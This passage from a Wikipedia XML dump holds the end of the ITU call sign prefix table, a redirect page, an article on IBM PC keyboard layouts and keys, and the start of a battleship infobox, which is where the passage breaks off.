*J0&amp;ndash;J1
*L0&amp;ndash;L1
*P0&amp;ndash;P1
*J9
*0[''anything''] (no codes beginning with '''[[zero|0]]''' are used)
*S0&amp;ndash;S1
*T0&amp;ndash;T1
*V0&amp;ndash;V1
*Y0&amp;ndash;Y1
*Z0&amp;ndash;Z1
*X0&amp;ndash;X9
*Z4&amp;ndash;Z9
*1[''anything''] (no codes beginning with '''[[one|1]]''' are used)
*30&amp;ndash;39
*40&amp;ndash;49
*50&amp;ndash;59
*60&amp;ndash;69
*70&amp;ndash;79
*80&amp;ndash;89
*90&amp;ndash;99

==Table of Allocation of International Call Sign Series==
[[ITU prefix/Grid chart|View as grid chart]]

{| class=&quot;wikitable&quot;
| '''Call Sign Series'''
| '''Allocated to'''
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|A
|-
| AA&amp;ndash;AL 
| [[United States|United States of America]]
|-
| AM&amp;ndash;AO
| [[Spain]]
|-
| AP&amp;ndash;AS
| [[Pakistan]] (Islamic Republic of)
|-
| AT&amp;ndash;AW
| [[India]] (Republic of)
|-
| AX
| [[Australia]]
|-
| AY&amp;ndash;AZ
| [[Argentine Republic]]
|-
| A2
| [[Botswana]] (Republic of)
|-
| A3
| [[Tonga]] (Kingdom of)
|-
| A4
| [[Oman]] (Sultanate of)
|-
| A5
| [[Bhutan]] (Kingdom of)
|-
| A6
| [[United Arab Emirates]]
|-
| A7
| [[Qatar]] (State of)
|-
| A8
| [[Liberia]] (Republic of)
|-
| A9
| [[Bahrain]] (State of)
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|B
|-
| '''B'''
| [[China]] (People's Republic of)
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|C
|-
| CA&amp;ndash;CE
| [[Chile]] (See note 5)
|-
| CF&amp;ndash;CK
| [[Canada]]
|-|
| CL&amp;ndash;CM
| [[Cuba]]
|-
| CN
| [[Morocco]] (Kingdom of)
|-
| CO
| [[Cuba]]
|-
| CP
| [[Bolivia]] (Republic of)
|-
| CQ&amp;ndash;CU
| [[Portugal]]
|-
| CV&amp;ndash;CX
| [[Uruguay]] (Eastern Republic of)
|-
| CY&amp;ndash;CZ
| [[Canada]]
|-
| C2
| [[Nauru]] (Republic of)
|-
| C3
| [[Andorra]] (Principality of)
|-
| C4
| [[Cyprus]] (Republic of)
|-
| C5
| [[The Gambia]] (Republic of)
|-
| C6
| [[Bahamas]] (Commonwealth of the)
|-
| C7
| ''[[World Meteorological Organization]]'' (See note 1)
|-
| C8&amp;ndash;C9
| [[Mozambique]] (Republic of)
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|D
|-
| DA&amp;ndash;DR
| [[Germany]] (Federal Republic of)
|-
| DS&amp;ndash;DT
| [[Korea]] (Republic of)
|-
| DU&amp;ndash;DZ
| [[Philippines]] (Republic of the)
|-
| D2&amp;ndash;D3
| [[Angola]] (Republic of)
|-
| D4
| [[Cape Verde]] (Republic of)
|-
| D5
| [[Liberia]] (Republic of)
|-
| D6
| [[Comoros]] (Islamic Federal Republic of the)
|-
| D7&amp;ndash;D9
| [[Korea]] (Republic of)
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|E
|-
| EA&amp;ndash;EH
| [[Spain]]
|-
| EI&amp;ndash;EJ
| [[Republic of Ireland|Ireland]] (Republic of)
|-
| EK
| [[Armenia]] (Republic of)
|-
| EL
| [[Liberia]] (Republic of)
|-
| EM&amp;ndash;EO
| [[Ukraine]]
|-
| EP&amp;ndash;EQ
| [[Iran]] (Islamic Republic of)
|-
| ER
| [[Moldova]] (Republic of)
|-
| ES
| [[Estonia]] (Republic of)
|-
| ET
| [[Ethiopia]] (Federal Democratic Republic of)
|-
| EU&amp;ndash;EW
| [[Belarus]] (Republic of)
|-
| EX
| [[Kyrgyzstan|Kyrgyz Republic]]
|-
| EY
| [[Tajikistan]] (Republic of)
|-
| EZ
| [[Turkmenistan]]
|-
| E2
| [[Thailand]]
|-
| E3
| [[Eritrea]]
|-
| E4
| [[Palestinian Authority]] (See note 2)
|-
| E5
| [[Cook Islands]]
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|F
|-
| '''F'''
| [[France]]
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|G
|-
| '''G'''
|[[United Kingdom of Great Britain and Northern Ireland]]
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|H
|-
| HA
| [[Hungary]] (Republic of)
|-
| HB
| [[Switzerland]] (Confederation of)
|-
| HB0&amp;ndash;HB0
| [[Liechtenstein]]
|-
| HC&amp;ndash;HD
| [[Ecuador]]
|-
| HE
| [[Switzerland]] (Confederation of)
|-
| HF
| [[Poland]] (Republic of)
|-
| HG
| [[Hungary]] (Republic of)
|-
| HH
| [[Haiti]] (Republic of)
|-
| HI
| [[Dominican Republic]]
|-
| HJ&amp;ndash;HK
| [[Colombia]] (Republic of)
|-
| HL
| [[Korea]] (Republic of)
|-
| HM
| [[Democratic People's Republic of Korea]]
|-
| HN
| [[Iraq]] (Republic of)
|-
| HO&amp;ndash;HP
| [[Panama]] (Republic of)
|-
| HQ&amp;ndash;HR
| [[Honduras]] (Republic of)
|-
| HS
| [[Thailand]]
|-
| HT
| [[Nicaragua]]
|-
| HU
| [[El Salvador]] (Republic of)
|-
| HV
| [[Vatican City State]]
|-
| HW&amp;ndash;HY
| [[France]]
|-
| HZ
| [[Saudi Arabia]] (Kingdom of)
|-
| H2
| [[Cyprus]] (Republic of)
|-
| H3
| [[Panama]] (Republic of)
|-
| H4
| [[Solomon Islands]]
|-
| H6&amp;ndash;H7
| [[Nicaragua]]
|-
| H8&amp;ndash;H9
| [[Panama]] (Republic of)
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|I
|-
| '''I'''| [[Italy]]
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|J
|-
| JA&amp;ndash;JS
| [[Japan]]
|-
| JT&amp;ndash;JV
| [[Mongolia]]
|-
| JW&amp;ndash;JX
| [[Norway]]
|-
| JY
| [[Jordan]] (Hashemite Kingdom of)
|-
| JZ
| [[Indonesia]] (Republic of)
|-
| J2
| [[Djibouti]] (Republic of)
|-
| J3
| [[Grenada]]
|-
| J4
| [[Greece]]
|-
| J5
| [[Guine&amp;ndash;Bissau]] (Republic of)
|-
| J6
| [[Saint Lucia]]
|-
| J7
| [[Dominica]] (Commonwealth of)
|-
| J8
| [[Saint Vincent and the Grenadines]]
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|K
|-
| '''K'''
| [[United States|United States of America]] (west of the [[Mississippi River]], including [[Alaska]] and [[Hawaii]])
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|L
|-
| LA&amp;ndash;LN
| [[Norway]]
|-
| LO&amp;ndash;LW
| [[Argentine Republic]]
|-
| LX
| [[Luxembourg]]
|-
| LY
| [[Lithuania]] (Republic of)
|-
| LZ
| [[Bulgaria]] (Republic of)
|-
| L2&amp;ndash;L9
| [[Argentine Republic]]
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|M
|-
| '''M'''
| [[United Kingdom of Great Britain and Northern Ireland]]
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|N
|-
| '''N'''
| [[United States|United States of America]]
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|O
|-
| OA&amp;ndash;OC
| [[Peru]]
|-
| OD
| [[Lebanon]]
|-
| OE
| [[Austria]]
|-
| OF&amp;ndash;OJ
| [[Finland]]
|-
| OK&amp;ndash;OL
| [[Czech Republic]]
|-
| OM
| [[Slovakia]]
|-
| ON&amp;ndash;OT
| [[Belgium]]
|-
| OU&amp;ndash;OZ
| [[Denmark]]
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|P
|-
| PA&amp;ndash;PI
| [[Netherlands]] (Kingdom of the)
|-
| PJ
| [[Netherlands]] (Kingdom of the) &amp;mdash; Netherlands Antilles
|-
| PK&amp;ndash;PO
| [[Indonesia]] (Republic of)
|-
| PP&amp;ndash;PY
| [[Brazil]] (Federative Republic of)
|-
| PZ
| [[Suriname]] (Republic of)
|-
| P2
| [[Papua New Guinea]]
|-
| P3
| [[Cyprus]] (Republic of)
|-
| P4
| [[Aruba]]
|-
| P5&amp;ndash;P9
| [[Democratic People's Republic of Korea]]
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|Q
|-
!colspan=&quot;2&quot;|There are no [[Q code|prefixes beginning Q]] (See note 3)
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|R
|-
| '''R'''
| [[Russian Federation]]
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|S
|-
| SA&amp;ndash;SM
| [[Sweden]]
|-
| SN&amp;ndash;SR
| [[Poland]] (Republic of)
|-
| SS
| [[Egypt]] (Arab Republic of)
|-
| SSN&amp;ndash;ST
| [[Sudan]] (Republic of the)
|-
| SU
| [[Egypt]] (Arab Republic of)
|-
| SV&amp;ndash;SZ
| [[Greece]]
|-
| S2&amp;ndash;S3
| [[Bangladesh]] (People's Republic of)
|-
| S5
| [[Slovenia]] (Republic of)
|-
| S6
| [[Singapore]] (Republic of)
|-
| S7
| [[Seychelles]] (Republic of)
|-
| S8
| [[South Africa]] (Republic of)
|-
| S9
| [[São Tomé and Príncipe]] (Democratic Republic of)
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|T
|-
| TA&amp;ndash;TC
| [[Turkey]]
|-
| TD
| [[Guatemala]] (Republic of)
|-
| TE
| [[Costa Rica]]
|-
| TF
| [[Iceland]]
|-
| TG
| [[Guatemala]] (Republic of)
|-
| TH
| [[France]]
|-
| TI
| [[Costa Rica]]
|-
| TJ
| [[Cameroon]] (Republic of)
|-
| TK
| [[France]]
|-
| TL
| [[Central African Republic]]
|-
| TM
| [[France]]
|-
| TN
| [[Republic of the Congo|Congo]] (Republic of the)
|-
| TO&amp;ndash;TQ
| [[France]]
|-
| TR
| [[Gabonese Republic]]
|-
| TS
| [[Tunisia]]
|-
| TT
| [[Chad]] (Republic of)
|-
| TU
| [[Côte d'Ivoire]] (Republic of)
|-
| TV&amp;ndash;TX
| [[France]]
|-
| TY
| [[Benin]] (Republic of)
|-
| TZ
| [[Mali]] (Republic of)
|-
| T2
| [[Tuvalu]]
|-
| T3
| [[Kiribati]] (Republic of)
|-
| T4
| [[Cuba]]
|-
| T5
| [[Somali Democratic Republic]]
|-
| T6
| [[Afghanistan]] (Islamic State of)
|-
| T7
| [[San Marino]] (Republic of)
|-
| T8
| [[Palau]] (Republic of)
|-
| T9
| [[Bosnia and Herzegovina]] (Republic of)
|-|
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|U
|-
| UA&amp;ndash;UI
| [[Russian Federation]]
|-
| UJ&amp;ndash;UM
| [[Uzbekistan]] (Republic of)
|-
| UN&amp;ndash;UQ
| [[Kazakhstan]] (Republic of)
|-
| UR&amp;ndash;UZ
| [[Ukraine]]
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|V
|-
| VA&amp;ndash;VG
| [[Canada]]
|-
| VH&amp;ndash;VN
| [[Australia]]
|-
| VO
| [[Canada]] ([[Newfoundland]])
|-
| VP&amp;ndash;VQ
| [[United Kingdom of Great Britain and Northern Ireland]]
|-
| VR
| [[China]] (People's Republic of)&amp;mdash;[[Hong Kong]] (See note 2)
|-
| VS
| [[United Kingdom of Great Britain and Northern Ireland]]
|-
| VT&amp;ndash;VW
| [[India]] (Republic of)
|-
| VX&amp;ndash;VY
| [[Canada]]
|-
| VZ
| [[Australia]]
|-
| V2
| [[Antigua and Barbuda]]
|-
| V3
| [[Belize]]
|-
| V4
| [[Saint Kitts and Nevis]]
|-
| V5
| [[Namibia]] (Republic of)
|-
| V6
| [[Micronesia]] (Federated States of)
|-
| V7
| [[Marshall Islands]] (Republic of the)
|-
| V8
| [[Brunei Darussalam]]
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|W
|-
| '''W'''
| [[United States|United States of America]] (east of the [[Mississippi River]])
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|X
|-
| XA&amp;ndash;XI
| [[Mexico]]
|-
| XJ&amp;ndash;XO
| [[Canada]]
|-
| XP
| [[Denmark]]
|-
| XQ&amp;ndash;XR
| [[Chile]]
|-
| XS
| [[China]] (People's Republic of)
|-
| XT
| [[Burkina Faso]]
|-
| XU
| [[Cambodia]] (Kingdom of)
|-
| XV
| [[Vietnam]] (Socialist Republic of)
|-
| XW
| [[Lao People's Democratic Republic]]
|-
| XX
| [[Portugal]]
|-
| XY&amp;ndash;XZ
| [[Myanmar]] (Union of)
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|Y
|-
| YA
| [[Afghanistan]] (Islamic State of)
|-
| YB&amp;ndash;YH
| [[Indonesia]] (Republic of)
|-
| YI
| [[Iraq]] (Republic of)
|-
| YJ
| [[Vanuatu]] (Republic of)
|-
| YK
| [[Syrian Arab Republic]]
|-
| YL
|[[Latvia]] (Republic of)
|-
| YM
| [[Turkey]]
|-
| YN
| [[Nicaragua]]
|-
| YO&amp;ndash;YR
| [[Romania]]
|-
| YS
| [[El Salvador]] (Republic of)
|-
| YT&amp;ndash;YU
| [[Serbia and Montenegro]]
|-
| YV&amp;ndash;YY
| [[Venezuela]] (Republic of)
|-
| YZ
| [[Serbia and Montenegro]]
|-
| Y2&amp;ndash;Y9
| [[Germany]] (Federal Republic of)
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|Z
|-
| ZA
| [[Albania]] (Republic of)
|-
| ZB&amp;ndash;ZJ
| [[United Kingdom of Great Britain and Northern Ireland]]
|-
| ZK&amp;ndash;ZM
| [[New Zealand]]
|-
| ZN&amp;ndash;ZO
| [[United Kingdom of Great Britain and Northern Ireland]]
|-
| ZP
| [[Paraguay]] (Republic of)
|-
| ZQ
| [[United Kingdom of Great Britain and Northern Ireland]]
|-
| ZR&amp;ndash;ZU
| [[South Africa]] (Republic of)
|-
| ZV&amp;ndash;ZZ
| [[Brazil]] (Federative Republic of)
|-
| Z2
| [[Zimbabwe]] (Republic of)
|-
| Z3
| [[Republic of Macedonia]]
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|2
|-
| '''2'''
| [[United Kingdom of Great Britain and Northern Ireland]]
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|3
|-
| 3A
| [[Monaco]] (Principality of)
|-
| 3B
| [[Mauritius]] (Republic of)
|-
| 3C
| [[Equatorial Guinea]] (Republic of)
|-
| 3DA&amp;ndash;3DM
| [[Swaziland]] (Kingdom of) (See note 4)
|-
| 3DN&amp;ndash;3DZ
| [[Fiji]] (Republic of) (See note 4)
|-
| 3E&amp;ndash;3F
| [[Panama]] (Republic of)
|-
| 3G
| [[Chile]]
|-
| 3H&amp;ndash;3U
| [[China]] (People's Republic of)
|-
| 3V
| [[Tunisia]]
|-
| 3W
| [[Vietnam]] (Socialist Republic of)
|-
| 3X
| [[Guinea]] (Republic of)
|-
| 3Y
| [[Norway]]
|-
| 3Z
| [[Poland]] (Republic of)
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|4
|-
| 4A&amp;ndash;4C
| [[Mexico]]
|-
| 4D&amp;ndash;4I
| [[Philippines]] (Republic of the)
|-
| 4J&amp;ndash;4K
| [[Azerbaijani Republic]]
|-
| 4L
| [[Georgia (country)|Georgia]] (Republic of)
|-
| 4M
| [[Venezuela]] (Republic of)
|-
| 4N&amp;ndash;4O
| [[Serbia and Montenegro]]
|-
| 4P&amp;ndash;4S
| [[Sri Lanka]] (Democratic Socialist Republic of)
|-
| 4T
| [[Peru]]
|-
| 4U
| ''[[United Nations]]'' (See note 1)
|-
| 4V
| [[Haiti]] (Republic of)
|-
| 4W
| [[Timor&amp;ndash;Leste]] (East Timor)
|-
| 4X
| [[Israel]] (State of)
|-
| 4Y
| ''[[International Civil Aviation Organization]]'' (See note 1)
|-
| 4Z
| [[Israel]] (State of)
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|5
|-
| 5A
| [[Libya]] (Socialist People's Libyan Arab Jamahiriya)
|-
| 5B
| [[Cyprus]] (Republic of)
|-
| 5C&amp;ndash;5G
| [[Morocco]] (Kingdom of)
|-
| 5H&amp;ndash;5I
| [[Tanzania]] (United Republic of)
|-
| 5J&amp;ndash;5K
| [[Colombia]] (Republic of)
|-
| 5L&amp;ndash;5M
| [[Liberia]] (Republic of)
|-
| 5N&amp;ndash;5O
| [[Nigeria]] (Federal Republic of)
|-
| 5P&amp;ndash;5Q
| [[Denmark]]
|-
| 5R&amp;ndash;5S
| [[Madagascar]] (Republic of)
|-
| 5T
| [[Mauritania]] (Islamic Republic of)
|-
| 5U
| [[Niger]] (Republic of the)
|-
| 5V
| [[Togolese Republic]]
|-
| 5W
| [[Western Samoa]] (Independent State of)
|-
| 5X
| [[Uganda]] (Republic of)
|-
| 5Y&amp;ndash;5Z
| [[Kenya]] (Republic of)
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|6
|-
| 6A&amp;ndash;6B
| [[Egypt]] (Arab Republic of)
|-
| 6C
| [[Syrian Arab Republic]]
|-
| 6D&amp;ndash;6J
| [[Mexico]]
|-
| 6K&amp;ndash;6N
| [[Korea]] (Republic of)
|-
| 6O
| [[Somali Democratic Republic]]
|-
| 6P&amp;ndash;6S
| [[Pakistan]] (Islamic Republic of)
|-
| 6T&amp;ndash;6U
| [[Sudan]] (Republic of the)
|-
| 6V&amp;ndash;6W
| [[Senegal]] (Republic of)
|-
| 6X
| [[Madagascar]] (Republic of)
|-
| 6Y
| [[Jamaica]]
|-
| 6Z
| [[Liberia]] (Republic of)
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|7
|-
| 7A&amp;ndash;7I
| [[Indonesia]] (Republic of)
|-
| 7J&amp;ndash;7N
| [[Japan]]
|-
| 7O
| [[Yemen]] (Republic of)
|-
| 7P
| [[Lesotho]] (Kingdom of)
|-
| 7Q
| [[Malawi]]
|-
| 7R
| [[Algeria]] (People's Democratic Republic of)
|-
| 7S
| [[Sweden]]
|-
| 7T&amp;ndash;7Y
| [[Algeria]] (People's Democratic Republic of)
|-
| 7Z
| [[Saudi Arabia]] (Kingdom of)
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|8
|-
| 8A&amp;ndash;8I
| [[Indonesia]] (Republic of)
|-
| 8J&amp;ndash;8N
| [[Japan]]
|-
| 8O
| [[Botswana]] (Republic of)
|-
| 8P&amp;ndash;8P
| [[Barbados]]
|-
| 8Q
| [[Maldives]] (Republic of)
|-
| 8R
| [[Guyana]]
|-
| 8S
| [[Sweden]]
|-
| 8T&amp;ndash;8Y
| [[India]] (Republic of)
|-
| 8Z
| [[Saudi Arabia]] (Kingdom of)
|-
!&quot;#CCCCCC&quot; colspan=&quot;2&quot;|9
|-
| 9A
| [[Croatia]] (Republic of)
|-
| 9B&amp;ndash;9D
| [[Iran]] (Islamic Republic of)
|-
| 9E&amp;ndash;9F
| [[Ethiopia]] (Federal Democratic Republic of)
|-
| 9G
| [[Ghana]]
|-
| 9H
| [[Malta]]
|-
| 9I&amp;ndash;9J
| [[Zambia]] (Republic of)
|-
| 9K
| [[Kuwait]] (State of)
|-
| 9L
| [[Sierra Leone]]
|-
| 9M
| [[Malaysia]]
|-
| 9N
| [[Nepal]]
|-
| 9O&amp;ndash;9T
| [[Democratic Republic of the Congo]]
|-
| 9U
| [[Burundi]] (Republic of)
|-
| 9V
| [[Singapore]] (Republic of)
|-
| 9W
| [[Malaysia]]
|-
| 9X
| [[Rwandese Republic]]
|-
| 9Y&amp;ndash;9Z
| [[Trinidad and Tobago]]
|}

*Note 1: Series allocated to an international organization. 

*Note 2: Provisional allocation in accordance with No. S19.33:

(S19.33 Between radiocommunication conferences, the Secretary-General is authorized to deal with questions relating to changes in the allocation of series of call signs, on a provisional basis, and subject to confirmation by the following conference.)

*Note 3: Three letter codes beginning with Q are for communication abbreviations, the [[Q code]]s and not used as callsign prefixes.

*Note 4: Half-series allocation.

*Note 5: The [[Canadian Broadcasting Corporation]] operates the vast majority of its stations with call signs beginning with CB. This is through a special agreement{{fact}} with the government of [[Chile]], which is officially assigned the CB prefix.


[[category: call signs]]

[[ast:Llista de prefixos radiofónicos]]
[[es:Prefijo radiofónico]]</text>
    </revision>
  </page>
  <page>
    <title>Israeli War of Independence</title>
    <id>15438</id>
    <revision>
      <id>15912912</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[1948 Arab-Israeli War]]
</text>
    </revision>
  </page>
  <page>
    <title>IBM PC keyboard</title>
    <id>15440</id>
    <revision>
      <id>41370289</id>
      <timestamp>2006-02-26T22:21:48Z</timestamp>
      <contributor>
        <username>Dbiv</username>
        <id>55217</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/213.132.254.2|213.132.254.2]] ([[User talk:213.132.254.2|talk]]) to last version by SGBailey</comment>
      <text xml:space="preserve">The '''[[IBM PC]] keyboard''' and its derivative [[computer keyboard]]s are standardized. However, during the 20 years of the PC architecture being constantly updated, several types of keyboards have been developed. 

==Keyboard layouts==

The following list gives a concise overview of the PC keyboard as it has changed over the years, the changes often being made at the launch of new PC versions. For each layout, some of the most significant updates are mentioned.

*&amp;nbsp;&amp;nbsp;83-key&amp;nbsp;&amp;nbsp;&amp;nbsp;[[PC/XT]] keyboard layout &amp;ndash; original left hand side [[function key]] (F key) columns with 10 keys F1 through F10; electronically not [[compatible]] with the later keyboard types
*&amp;nbsp;&amp;nbsp;84-key&amp;nbsp;&amp;nbsp;&amp;nbsp;[[PC/AT]] keyboard layout &amp;ndash; the &quot;84th key&quot; being &lt;[[SysRq]]&gt; i.e. System Request; numerical block now clearly separated from main keyboard; also added indicator [[light-emitting diode|LED]]s for Caps/Scroll/Num lock
* 101-key &quot;Enhanced&quot; keyboard layout &amp;ndash; additional navigation and control keys; 12 F keys in row along top, grouped F1-4, F5-8, and F9-12
* 102-key &quot;Enhanced&quot; keyboard layout &amp;ndash; (additional key to the right of the left Shift key for European layouts)
* 104-key &quot;Windows&quot; keyboard layout &amp;ndash; [[Windows key|Windows]](x2) and Menu keys added
* 105-key as above, but for European layouts
* 107-key &quot;Enhanced&quot; keyboard layout &amp;ndash; Wake, Sleep, and Power keys added (for [[power management]])
* 124-key [[Gateway anykey]] keyboard
So-called &quot;[[multimedia]] keyboards&quot; may offer additional buttons to the 104 or 107 &quot;standard&quot; keys, often providing volume control, media player buttons, and miscellaneous user-configurable shortcuts, e.g. to email clients, web browsers, etc.

==Standard key meanings==

The PC keyboard with its various keys has a long history of evolution reaching back to [[teleprinter|teletypewriter]]s. In addition to the 'old' standard keys, the PC keyboard has accumulated several special keys over the years. Some of the additions have been inspired by the opportunity or requirement for improving user productivity with general office [[application software]], while other slightly more general keyboard additions have become de facto standards after being introduced by certain [[operating system]] or [[graphical user interface|GUI]] software vendors such as [[Microsoft]].

''See also'': [[modifier key]]

===From mechanical typewriters===
*''Shift'' selects the upper character, or select upper case of letters. The Shift key in typewriters was attached to a lever that moved the character types so that the uppercase characters could be printed in the paper.
*''Caps Lock'' selects upper case, or if shift is pressed, lower case of letters. In mechanical typewriters, it worked like the Shift key, but also used a lock to keep the Shift key depressed. The lock was released by pressing the Shift key.
*''Enter'' wraps to the next line or activates the default or selected option. ASCII keyboards had CR or &quot;[[carriage return]]&quot;. Typewriters used a lever that, once pressed, would move the cylinder with the paper.

===From Teletype keyboards===
*''Ctrl'' shifts the value of letters and numbers from the ASCII graphics range, down into the [[ASCII]] control characters.  For example, CTRL-S is XOFF (stops many programs as the print to screen) CTRL-Q is XON (resume printing stopped by CTRL-S).
*''Esc'' produces an ASCII ESC character.  Older software uses it to exit menus or modes.
*''Tab'' produces an ASCII Tab character.  Moves to the next tab stop.
*''~'' is a ''tilde'', an accent backspaced and printed over other letters for non-English languages. Nowadays the key does not produce a backspaceable character and is used for 'not' or 'circa'.
*''`'' is a ''grave'' accent, also formerly backspaced over letters to write non-English languages; on some systems it is used as an opening quote.  The single quote ' is normally used for an acute accent.
*''^'' is a circumflex, another accent for non-English languages. Also used to indicate exponentiation where superscript is not available.
*''*'' is an asterisk, used to indicate a note, or multiplication.
*''_'' is an underline, backspaced and overprinted to add emphasis.
*| is a bar, originally used as a typographic separator for optical character recognition.  Many character sets break it in the middle so it cannot be confused with the numeral &quot;1&quot; or the letter &quot;l&quot;.

===Invented for the PC===
*''Windows'' is a quick way to open the &quot;Start&quot; menu in Windows' standard Explorer shell, and can usually be configured to behave similarly in other graphical user interfaces, for Windows and other operating systems.
*''Context menu'' brings up a context menu, similar to right-clicking.
*Function keys are the numbered keys, use varies by program, but F1 is often &quot;help.&quot;
*Arrow keys move on the screen.  When shifted, they select items.
*''Home'' moves to the start of text, usually the left side of the screen.
*''End'' moves to the end of text, usually the right-most edge of the current line.
*''Page Up'' and ''Page Down'' move through the document by pages.
*''Del'' deletes the character before the screen position, or the selected items.
*''Ins'' toggles between &quot;insertion&quot; and &quot;overwrite&quot; mode.
*''Print screen'' originally printed a text image of the screen; nowadays often takes a screenshot. In combination with Alt, it produces a different keycode, SysReq.
*''Num lock'' toggles between states for the numeric keypad. When off, it acts as arrow and navigational keys.  When on, it is a 10-key similar to a standard calculator.  Preferences vary so much that a favorite default for this key can often be configured in the BIOS configuration. Its continued existence on keyboards that separate out the arrow keys has mostly historical reasons.
*''Scroll lock'' is little-used. On modern software, typing text usually causes earlier text to scroll off the top of the screen or window.  Some old programs could disable this and restart at the top of the window when scroll lock was pressed.  The advantage is that the entire screen full of text does not shift, making it easier to read.  On spreadsheets such as [[Microsoft Excel]], it locks the cell pointer on the current cell, alowing the user to use the arrow keys to move the view window around without moving the cell pointer.
*''Pause'' paused processing, and is sometimes used to pause games. In combination with Control, it produces a different keycode, for ''Break''. Ctrl-Break traditionally stopped programs in DOS. Ctrl-Break is also used to halt execution of the debugger in some programming environments such as Microsoft Visual Studio. In combintion with the Windows key, it brings up the System Properties window in Microsoft Windows environments.
*''Alt'' shifts the letters and numbers into the range above hex 0x80 where the international characters and special characters exist in the PC's standard character set.
*''Alt Gr'' works like the Ctrl+Alt key combination, often used to print special characters like the [[backslash]] on Spanish keyboards.  (On the original IBM AT Enhanced keyboard the right Alt key has green letters).
*''Alt'' plus a number typed on the numeric pad produces special characters, see [[Windows Alt keycodes]].

==Connectors==

There are three types of [[connector]] used to connect a PC keyboard to the main system unit. All three are mechanically different from each other, but the first two are electrically identical (except for XT keyboards). The three connector types are listed below in descending chronological order:
* 5-pin [[DIN connector|DIN]] (DIN 41524) &quot;[[AT]]&quot; connector
* 6-pin &quot;Mini-DIN&quot; (DIN 45322) &quot;[[PS/2]]&quot; connector
* 4-pin [[Universal Serial Bus|USB]] connector

==External links==
*[http://www.pcguide.com/ref/kb/layout/std.htm Standard keyboard layouts] &amp;ndash; From The PC Guide website
*[http://www-306.ibm.com/software/globalization/topics/keyboards/physical.jsp IBM.com keyboard page]

[[Category:Computer keyboards|IBM PC]]
[[Category:IBM PC compatibles|Keyboards]]</text>
    </revision>
  </page>
  <page>
    <title>Italian battleship Giulio Cesare</title>
    <id>15441</id>
    <revision>
      <id>41932232</id>
      <timestamp>2006-03-02T18:39:45Z</timestamp>
      <contributor>
        <username>Fdewaele</username>
        <id>153790</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{| border=&quot;1&quot; align=&quot;right&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; width=300 style=&quot;margin-left:1em;margin-bottom:1em&quot;
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[image:GiulioCesare1914.jpg|300px|RN ''Giulio Cesare'', speed tests, 1914]]
|-
!style=&quot;color: white; height: 30px; background:navy;&quot;|Career
!style=&quot;background:navy;align:right;&quot;|[[Image:Regia Marina Ensign.png|40px|Kingdom of Italy]]
|-
|Laid down:||[[June 24]], [[1910]]
|-
|Launched:||[[October 15]], [[1911]]
|-
|Commissioned:||1915
|-
|Decommissioned:||[[18 May]] [[1928]]
|-
|Reconstructed:||1933&amp;ndash;1937
|-
|Fate:||Given to Soviet Navy, sunk 1955
|-
|Struck:||1947
|-
!colspan=&quot;2&quot; style=&quot;color: white; height: 30px; background:navy;&quot;|General Characteristics (before reconstruction)
|-
|Displacement:||23,088 tons standard,

25,086 tons full load
|-
|Length:||168.9 - 176.1 m
|-
|Beam:||28 m
|-
|Draught:||9.4 m
|-
|Propulsion:||20 boilers, 4 shafts, 31,000 hp
|-
|Speed:||21.5 knots (41 km/h)
|-
|Range:||4,800 miles at 10 knots
|-
|Complement:||1,000
|-
|Armament:||13 305/46 mm, 

18 120/50 mm,

16 76/50 mm,

6 76/40 mm,

3 450 mm torpedo launchers
|-
|Aircraft:||0
|-
|Protection:||max 280 mm (vertical)

111 mm (horizontal)
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|
|-
!colspan=&quot;2&quot; style=&quot;color: white; height: 30px; background:navy;&quot;|General Characteristics (after reconstruction)
|-
|Displacement:||28,800 tons standard,

29,100 tons full load
|-
|Length:||168.9 - 186.4 m
|-
|Beam:||28 m
|-
|Draught:||10.4 m
|-
|Propulsion:||8 boilers, 2 shafts, 93,000 hp
|-
|Speed:||28 knots (53 km/h)
|-
|Range:||3,100 miles at 20 knots
|-
|Complement:||1,236
|-
|Armament:||10 320/44  mm,

12 120/50 mm,

8 100/47 mm,

8 37/54 mm,

12 20/65 mm
|-
|Aircraft:||0
|-
|Protection:||max 280 mm (vertical)

135 mm (horizontal)
|}
